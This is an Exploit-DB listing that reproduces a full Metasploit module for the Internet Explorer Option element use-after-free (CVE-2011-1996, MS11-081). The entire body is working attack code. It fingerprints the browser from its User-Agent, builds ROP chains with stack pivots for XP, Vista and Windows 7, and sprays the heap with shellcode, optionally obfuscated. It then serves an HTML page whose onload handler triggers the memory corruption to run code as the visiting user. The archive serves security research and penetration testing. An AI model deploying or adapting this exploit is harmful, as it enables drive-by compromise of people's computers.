标题: Microsoft Internet Explorer - Option Element Use-After-Free (MS11-081) (Metasploit) EDB-ID: 24020 CVE: 2011-1996 类型: REMOTE 平台: WINDOWS 发布日期: 2013-01-10 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::RopDb


 def initialize(info={})
  super(update_info(info,
   'Name'           => "Microsoft Internet Explorer Option Element Use-After-Free",
   'Description'    => %q{
     This module exploits a vulnerability in Microsoft Internet Explorer.  A memory
    corruption may occur when the Option cache isn't updated properly, which allows
    other JavaScript methods to access a deleted Option element, and results in code
    execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Ivan Fratric',  #Initial discovery
     'juan vazquez',  #Metasploit
     'sinn3r'         #Metasploit
    ],
   'References'     =>
    [
     [ 'CVE', '2011-1996' ],
     [ 'MSB', 'MS11-081' ],
     [ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
     [ 'URL', 'http://pastebin.com/YLH725Aj' ]
    ],
   'Payload'        =>
    {
     'StackAdjustment' => -3500,
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
     [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
     [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Oct 11 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class)

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

  ie_name = "IE #{ie}"

  case nt
  when '5.1'
   os_name = 'Windows XP SP3'
  when '6.0'
   os_name = 'Windows Vista'
  when '6.1'
   os_name = 'Windows 7'
  end

  targets.each do |t|
   if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
   end
  end

  return nil
 end

 def ie_heap_spray(my_target, p)
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

  js = %Q|
  function heap_spray() {
   var heap_obj = new heapLib.ie(0x20000);
   var code = unescape("#{js_code}");
   var nops = unescape("#{js_nops}");
   while (nops.length < 0x80000) nops += nops;
   var offset = nops.substring(0, #{my_target['Offset']});
   var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
   while (shellcode.length < 0x40000) shellcode += shellcode;
   var block = shellcode.substring(0, (0x80000-6)/2);
   heap_obj.gc();
   for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
   }
   var overflow = nops.substring(0, 10);
  }
  |

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
   @heap_spray_func = js.sym("heap_spray")
  end

  return js
 end

 def get_payload(t, cli)
  code = payload.encoded

  # No rop. Just return the payload.
  return code if t['Rop'].nil?

  # Both ROP chains generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
   print_status("Using msvcrt ROP")
   rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
   rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
   rop_payload << "\xeb\x04" # jmp $+6
   rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
   rop_payload << code
  else
   print_status("Using JRE ROP")
   rop_payload = generate_rop_payload('java', '')
   rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
   rop_payload << "\xeb\x08" # jmp $+10
   rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
   rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
   rop_payload << code
  end

  return rop_payload
 end

 def load_exploit_html(my_target, cli)
  @heap_spray_func = "heap_spray"
  p  = get_payload(my_target, cli)
  js = ie_heap_spray(my_target, p)


  #var fakeobj = unescape("%u0c0c%u0c0c");
  #call to 0c0c0c0c
  #eax ==> 0c0c0a14
  html = %Q|
  <!DOCTYPE html>
  <html>
  <head>
  <script>
  #{js}

  function ivan()
  {

   var fakeobj = unescape("%u0a14%u0c0c");
   fakeobj += unescape("%u4141%u4141");
   while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");

   var formobj, selobj, optobj;
   selobj = document.getElementById("select1");
   formobj = selobj.form;

   var imgarray = new Array();
   for(var j = 0; j < 500; j++) {
    imgarray.push(document.createElement("img"));
   }

   for(var i=0;i<5;i++) {
    optobj = document.createElement('option');
    optobj.text = "test";
    selobj.add(optobj);
   }

   selobj.innerText = "foo";

   for(var i = 0; i < imgarray.length; i++) {
    imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
   }

   #{@heap_spray_func}();

   formobj.reset();
  }

  </script>
  </head>

  <body onload='ivan()'>
  <form method="post">
  <select id="select1">
  </select>
  </form>
  </body>
  </html>
  |

  return html
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri
  print_status("Requesting: #{uri}")

  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
   print_error("Browser not supported, sending 404: #{agent}")
   send_not_found(cli)
   return
  end

  html = load_exploit_html(my_target, cli)
  html = html.gsub(/^\t\t/, '')
  print_status("Sending HTML...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end
end URL: https://www.exploit-db.com/exploits/24020